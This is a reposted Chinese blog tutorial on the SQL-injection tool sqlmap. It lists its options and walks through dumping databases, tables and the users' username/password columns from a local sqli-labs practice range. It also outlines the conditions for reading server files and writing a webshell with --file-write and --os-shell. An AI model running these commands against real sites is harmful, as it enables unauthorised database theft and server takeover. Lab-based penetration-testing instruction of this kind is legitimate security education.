0
  • 聊天消息
  • 系统消息
  • 评论与回复
登录后你可以
  • 下载海量资料
  • 学习在线课程
  • 观看技术视频
  • 写文章/发帖/加入社区
会员中心
创作中心

完善资料让更多小伙伴认识你,还能领取20积分哦,立即完善>

3天内不再提示

Sqlmap简介与使用

麦辣鸡腿堡 来源:CSDN博客 作者:白昼安全 2023-01-14 11:24 次阅读

白昼安全

一、Sqlmap简介与使用
当我们明白sql注入的原理,渗透过程似乎很简单。但事实上,在实际的渗透当中,漏洞注入并非仅仅只是通过简单的一两次尝试就能够得到测试人员想要的答案。很多时候,它需要经过许多次繁杂的尝试。所以,要提高渗透测试的效率,单纯的依靠测试人员自身的实战经验也是远远不够的。因此,我们需要渗透工具的帮助。而sqlmap就是这样一款强大而且便于操作的渗透测试工具。

sqlmap是一个开源的渗透测试工具,可以用来进行自动化检测,利用SQL注入漏洞,获取数据库服务器的权限。它具有功能强大的检测引擎,针对各种不同类型数据库的渗透测试的功能选项,包括获取数据库中存储的数据,访问操作系统文件甚至可以通过外带数据连接的方式执行操作系统命令。
1、Sqlmap的安装


Sqlmap安装完成后,那么即可开始使用。

2、sqlmap的使用
-u

指定目标URL (可以是http协议也可以是https协议)

-d

连接数据库

--dbs

列出所有的数据库

--current-db

列出当前数据库

--tables

列出当前的表

--columns

列出当前的列

-D

选择使用哪个数据库

-T

选择使用哪个表

-C

选择使用哪个列

--dump

获取字段中的数据

--dump-all

拖库

--batch

自动选择yes

--smart

启发式快速判断,节约浪费时间

--forms

尝试使用post注入

-r

加载文件中的HTTP请求(本地保存的请求包txt文件)

-l

加载文件中的HTTP请求(本地保存的请求包日志文件)

-g

自动获取Google搜索的前一百个结果,对有GET参数的URL测试

-o

开启所有默认性能优化

--tamper

调用脚本进行注入

-v

指定sqlmap的回显等级

--delay

设置多久访问一次

--os-shell

获取主机shell,一般不太好用,因为没权限

-m

批量操作

-c

指定配置文件,会按照该配置文件执行动作

-data

data指定的数据会当做post数据提交

-timeout

设定超时时间

-level

设置注入探测等级共有五个等级,默认为1级, 这个参数不仅影响使用哪些payload同时也会影响测试的注入点,GET和POST的数据都会测试,HTTP Cookie在level为2的时候就会测试,HTTP User-Agent/Referer头在level为3的时候就会测试。总之在你不确定哪个payload或者参数为注入点的时候,为了保证全面性,建议使用高的level值。

--is-dba

判断当前用户是否为数据库管理员权限

--risk

风险等级

--identify-waf

检测防火墙类型

--param-del="分割符"

设置参数的分割符

--skip-urlencode

不进行url编码

--keep-alive

设置持久连接,加快探测速度

--null-connection

检索没有body响应的内容,多用于盲注

--thread

最大为10 设置多线程

--delay

有些web服务器请求访问太过频繁可能会被防火墙拦截,使用--delay就可以设定两次http请求的延时

--safe-url

有的web服务器会在多次错误的访问请求后屏蔽所有请求,使用--safe-url 就可以每隔一段时间去访问一个正常的页面。

--technique

指定注入类型

B:Boolean-based-blind (布尔型型注入)

E:Error-based (报错型注入)

U:Union query-based (联合注入)

S:Starked queries (通过sqlmap读取文件系统、操作系统、注册表必须 使用该参数,可多语句查询注入)

T:Time-based blind (基于时间延迟注入)

--tamper

语法:--tamper ["脚本名称"]

当调用多个脚本的时候,脚本之间用逗号隔开,调用的脚本在 sqlmap文件夹下的 tamper 文件夹中


-v ["x"]

使用sqlmap注入测试时,可以使用 -v [x] 参数来指定回显信息的复杂程度, x 的取值范围为[0~6]:

等级

解释

0

只显示python错误以及严重信息

1

同时显示基本信息和警告信息

2

同时显示debug信息

3

同时显示注入的pyload

4

同时显示HTTP请求

5

同时显示HTTP相应头

6

同时显示HTTP相应页面

二、Sqlmap自动化基础注入实战
环境:sql-lib靶场第一关,url如下

http://127.0.0.1/targetrange/sqli-labs-master/Less-1/?id=1
1、取数据库名
python sqlmap.py -u "http://127.0.0.1/targetrange/sqli-labs-master/Less-1/?id=1" --dbs --batch
效果如下


2、读取表名
python sqlmap.py -u "http://127.0.0.1/targetrange/sqli-labs-master/Less-1/?id=1" -D "security" --tables --batch
效果如下


3、读取字段名
python sqlmap.py -u "http://127.0.0.1/targetrange/sqli-labs-master/Less-1/?id=1" -D "security" -T “users” --columns --batch
效果如下


4、读取数据
python sqlmap.py -u "http://127.0.0.1/targetrange/sqli-labs-master/Less-1/?id=1" -D "security" -T “users” -C “username,password” --dump --batch
效果如下


三、sqlmap读取目标系统文件
利用sqlmap读取文件,也是需要满足条件的。

(1)当前sql注入用户必须为DBA权限(--is-dba为true)

(2)需要知道网站的绝对路径

(3)My.ini文件中的这项配置secure_file_priv=””为空

四、通过sqlmap写入webshell
Sqlmap写入webshell也是和手工写入webshell一样需要满足条件:

(1)当前sql注入用户必须为DBA权限(--is-dba为true)
(2)需要知道网站的绝对路径
(3)My.ini文件中的这项配置secure_file_priv=””为空
这个操作和通过sql注入的union配合into outfile原理一样,只不过sqlmap提供了一键化操作,格式如下即可

--file-write //要写入的文件
--file-dest //写入文件存放的路径
具体操作就是通过--os-shell,相信很多同学应该都会了,所以这里就不多讲了

原文链接:https://blog.csdn.net/qq_63844103/article/details/128671338

编辑:何安

声明:本文内容及配图由入驻作者撰写或者入驻合作网站授权转载。文章观点仅代表作者本人,不代表电子发烧友网立场。文章及其配图仅供工程师学习之用,如有内容侵权或者其他违规问题,请联系本站处理。 举报投诉
  • 网络安全
    +关注

    关注

    10

    文章

    3071

    浏览量

    59395
  • SQL
    SQL
    +关注

    关注

    1

    文章

    751

    浏览量

    43931
  • 自动化
    +关注

    关注

    28

    文章

    5406

    浏览量

    78749
收藏 人收藏

    评论

    相关推荐

    sqlmap的安装与使用

    44sqlmap的安装与使用
    发表于 04-20 10:10

    DAC简介

    文章目录一、DAC简介一、DAC简介
    发表于 08-09 08:18

    TraceX使用简介

    TraceX使用简介TraceX 软件生成跟踪bufTrace APItx_trace_enabletx_trace_enabletx_trace_event_filtertx_trace_event_unfiltertx_trace_disabletx_trace_isr_enter_inserttx_trace
    发表于 02-22 06:59

    FPGA简介

    (06)FPGA资源评估1.1 目录1)目录2)FPGA简介3)Verilog HDL简介4)FPGA资源评估5)结语1.2 FPGA简介FPGA(Field Programmable Gate
    发表于 02-23 06:31

    NoOs简介

    NoOs文章目录NoOs简介代码目录API 说明移植快速上手更多示例License简介NoOs 名字的寓意取自于:“NoOs is not an operating system”。NoOs 的目标是提供类似RTOS的开发方式,代码量比.
    发表于 03-01 07:52

    电感元件简介与展望

    电感元件简介与展望 电感元件原理,磁性铁电材料,磁性电感元件分类,电感元件制程简介,电感元件规格与应用。
    发表于 11-20 14:19 21次下载

    ANOTO技术简介

    ANOTO技术简介 一、Anoto技术简介 Anoto技术主要体现为三个组成部分:数码纸、数码笔及Anoto软件平台。 二、数码纸
    发表于 09-17 18:11 3158次阅读
    ANOTO技术<b class='flag-5'>简介</b>

    手机简介

    手机简介
    发表于 12-19 10:27 589次阅读

    Windows CE简介、特点及应用

    Windows CE简介、特点及应用 一、Windows CE简介  
    发表于 01-11 08:43 3859次阅读

    ISE10.1使用简介

    ISE10.1使用简介 ISE10.1使用简介
    发表于 02-18 18:16 9次下载

    Proteus示波器简介

    Proteus 中示波器的操作 简介简介基于 proteus7.8 版本
    发表于 03-22 11:19 15次下载

    不同的SQLMap命令

    SQLMap是每个渗透测试师的必备工具。这是众多强大的主流工具之一,尤其是在测试OWASP Top 10中的SQL注入漏洞时。从扫描SQL注入漏洞到获取数据库名字、表和列,以及获得系统访问权限,其可被用于多种目的。
    的头像 发表于 09-15 09:19 1244次阅读

    POE简介

    POE简介
    发表于 11-01 08:27 0次下载
    POE<b class='flag-5'>简介</b>

    FST 简介

    FST 简介
    发表于 11-14 21:08 0次下载
    FST <b class='flag-5'>简介</b>

    GERBER FILE 简介.zip

    GERBERFILE简介
    发表于 12-30 09:20 3次下载